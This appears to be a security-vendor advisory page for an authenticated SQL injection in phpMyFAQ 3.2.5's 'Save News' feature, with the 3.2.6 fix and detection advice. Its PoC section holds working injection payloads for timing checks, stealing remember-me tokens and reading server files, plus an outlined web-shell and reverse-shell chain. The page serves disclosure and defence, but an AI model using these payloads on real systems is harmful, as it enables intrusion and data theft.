GHSA-qgxx-4xv5-6hcw is a high-severity (CVSS 8.8) SQL Injection vulnerability in phpmyfaq/phpmyfaq. 2 public exploit references exist, so weaponization risk is real. A fix is available for phpmyfaq/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ SQL Injection at "Save News"
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qgxx-4xv5-6hcw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qgxx-4xv5-6hcw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A SQL injection vulnerability has been discovered in the the "Add News" functionality due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.
Details
The vulnerable field lies in the authorEmail field which uses PHP's FILTER_VALIDATE_EMAIL filter. This filter is insufficient in protecting against SQL injection attacks and should still be properly escaped. However, in this version of phpMyFAQ (3.2.5), this field is not escaped properly can be used together with other fields to fully exploit the SQL injection vulnerability.
PoCs
4 PoCs are demonstrated here to illustrate the potential impacts.
PoC 1 - Postgres Time Based SQLi
- Login as admin or any user with the rights to view and save news.
- Navigate to "../phpmyfaq/admin/?action=news", click on "Add news", fill in some data, send and intercept the request.
- Modify the intercepted "/admin/?action=save-news" request to look like the SS below:
3.1 - Set the "authorEmail" field in the body to "
test'/*@[email.com](http://email.com/)". 3.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,1,1);select+pg_sleep(5)--". 3.3 - Set the rest of the fields as empty and send the request. - Notice the 5s delay in the response time, indicating that the sleep function was executed, verifying the existence of the SQLi vulnerability.
PoC 2 - SQLi to Read Data from PostgresDB
- Steps 1 and 2 are the same as PoC 1.
- Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request:
2.1 - Set the "authorEmail" field in the body to "
test'/*@[email.com](http://email.com/)". 2.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,1,1);SELECT+remember_me+FROM+faquser+limit+1+offset+1%3b--".
PoC 3 - SQLi to Read Files from PostgresDB
- Steps 1 and 2 are the same as PoC 1.
- Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request:
2.1 - Set the "authorEmail" field in the body to "
test'/*@[email.com](http://email.com/)". 2.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,(select+pg_read_file(CONCAT(CHR(67),CHR(58),CHR(92),CHR(87),CHR(105),CHR(110),CHR(100),CHR(111),CHR(119),CHR(115),CHR(92),CHR(119),CHR(105),CHR(110),CHR(46),CHR(105),CHR(110),CHR(105)))),1)--". (the CONCAT() and CHR() functions are used to bypass the escaping of single quotes, these characters in its decoded form is "select pg_read_file('C:\Windows\win.ini')")
PoC 4 - SQLi to Shell
It is also possible to obtain a shell if superuser is enabled on the postgres DB. These are the high level steps of the exploit chain:
- Create a table called "cmd_exec" to store the payload.
- Create a function in postgres to store the command to write a web shell to the "../htdocs" directory. (This step is required as CONCAT() function cannot be used to bypass the step where; "COPY cmd_exec FROM PROGRAM '<command>' " is run as it requires single quotes.)
- Trigger the function to write the PHP web shell at "
http://<URL>/shell.php" that takes in commands via the "?cmd=" parameter. - Send the Python reverse shell command via a GET request to launch the reverse shell.
The video demo and the Python PoC script can be accessed from this link: https://drive.google.com/drive/folders/1BFL8GHIBxSUxu0TneYf66KjFA0A4RZga?usp=sharing
Impact
The SQL injection vulnerability discovered in the "Add News" functionality of the application allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpmyfaq/phpmyfaq | ≥ 3.2.5&&< 3.2.6 | 3.2.6composer require phpmyfaq/phpmyfaq:^3.2.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpmyfaq/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpmyfaq/phpmyfaq to 3.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qgxx-4xv5-6hcw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qgxx-4xv5-6hcw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qgxx-4xv5-6hcw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qgxx-4xv5-6hcw in your dependencies?
O3 Security finds GHSA-qgxx-4xv5-6hcw across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.